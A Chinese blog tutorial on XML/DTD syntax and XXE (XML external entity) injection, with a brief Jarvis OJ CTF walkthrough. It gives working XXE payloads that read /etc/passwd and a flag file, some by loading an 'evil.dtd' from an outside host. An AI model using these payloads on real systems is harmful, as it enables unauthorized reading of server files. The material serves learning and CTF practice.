zoukankan      html  css  js  c++  java
  • XXE漏洞

    XML基础知识

    链接

    XML语法规则如下:

    1. 所有的XML元素都必须有一个关闭标签
    2. XML标签对大小写敏感
    3. XML必须正确嵌套
    4. XML属性值必须加引号
    5. 实体引用
    6. 在XML中,空格会被保留

    XXE漏洞

    XXE全称是XML External Entity,也就是XML外部实体注入攻击.漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。

    DTD

    DTD全称是The document type definition,即是文档类型定义,可定义合法的XML文档构建模块。
    它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中(内部声明),也可作为一个外部引用。

    内部声明DTD

    <!DOCTYPE 根元素 [元素声明]>

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE note[       //DTD
    <!ELEMENT note(to,from,login)>    //定义元素
    <!ELEMENT to(#PCDATA)>
    <!ELEMENT from(#PCDATA)>
    <!ELEMENT login(#PCDATA)>
    ]>
    <note>
    <to> tony </ to>
    <from> anmi </ from>
    <login>123</ login>
    </ note>
    

    引用外部DTD:

    <!DOCTYPE 根元素 SYSTEM "文件名">
    <!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

    <?xml version="1.0"?>
    <!DOCTYPE note SYSTEM "note.dtd">
    <note>
      <to>Tove</to>
      <from>Jani</from>
      <heading>Reminder</heading>
      <body>Don't forget me this weekend!</body>
    </note>
    

    这是包含DTD的“ note.dtd”文件:

    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
    

    在DTD中的实体类型,一般分为:内部实体和外部实体,细分又分为一般实体和参数实体。

    参数实体(用%声明,用%引用。 DTD中声明,DTD中引用)
    其余实体(直接用实体名称声明,使用&引用。 DTD中声明,xml中引用)

    内部实体:            
    <!ENTITY 实体名称 "实体内容">    
    
    外部实体:
    <!ENTITY 实体名称 SYSTEM "URI">        
    <!ENTITY 实体名称 PUBLIC "public_ID" "URI">
    
    参数实体:
    <!ENTITY % 实体名称 "实体内容">    
    

    怎么判断网站是否存在XXE漏洞

    最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞

    构造外部实体注入的方法

    1.直接通过DTD外部实体声明

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE NPFS[
    <!ENTITY  npfs SYSTEM "file:///home/ctf/flag.txt">]>
    <something>&npfs;</something>
    

    2.通过DTD文档引入外部DTD文档,再引入外部实体声明

    xml内容:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE a [
           <!ENTITY %d SYSTEM "http://www.123.com/evil.dtd">
           %d;
    ]>
    <aaa>&b;</aaa>
    

    DTD文件(evil.dtd)内容

    <!ENTITY b SYSTEM "file:///etc/passwd">
    

    3.通过DTD外部实体声明引入外部实体声明

    xml内容:

    <?xml verstion="1.0" encoding="utf-8"?>
    <!DOCTYPE a SYSTEM "http://www.123.com/evil.dtd">
    <a>&b;</a>
    

    DTD文件(evil.dtd)内容

    <!ENTITY b SYSTEM "file:///etc/passwd">
    

    另外,不同程序支持的协议是不一样:


    (Jarvis OJ)api调用

    题目链接

    go,抓包

    可以发现这里应用的content-Type是json

    JSON(JavaScript Object Notation, JS 对象简谱) 是一种轻量级的数据交换格式。其诞生原因是因为XML整合到HTML中各个浏览器实现的细节不尽相同

    JSON有2种结构形式,键值对形式和数组形式(如箭头二所示)

    又因为题目hint:请设法获得目标机器/home/ctf/flag.txt中的flag值

    判断为XXE漏洞

    将json修改为xml,并构造外部引用

    参考:

    https://xz.aliyun.com/t/3357#toc-22
    https://p0rz9.github.io/2019/02/27/xxe/#
    https://security.tencent.com/index.php/blog/msg/69

  • 相关阅读:
    [k8s微服务作业]-day2-Docker基础
    运维常用命令记录
    【莫比乌斯反演】学习笔记
    2021牛客OI赛前集训营-提高组(第一场)
    NOIP 计划 · 模拟赛 #10
    2021牛客OI赛前集训营-提高组(第二场)
    10.5 模拟赛题解报告
    组合数学
    线段树合并
    2021, 9,26 模拟赛
  • 原文地址:https://www.cnblogs.com/NPFS/p/12831416.html
Copyright © 2011-2022 走看看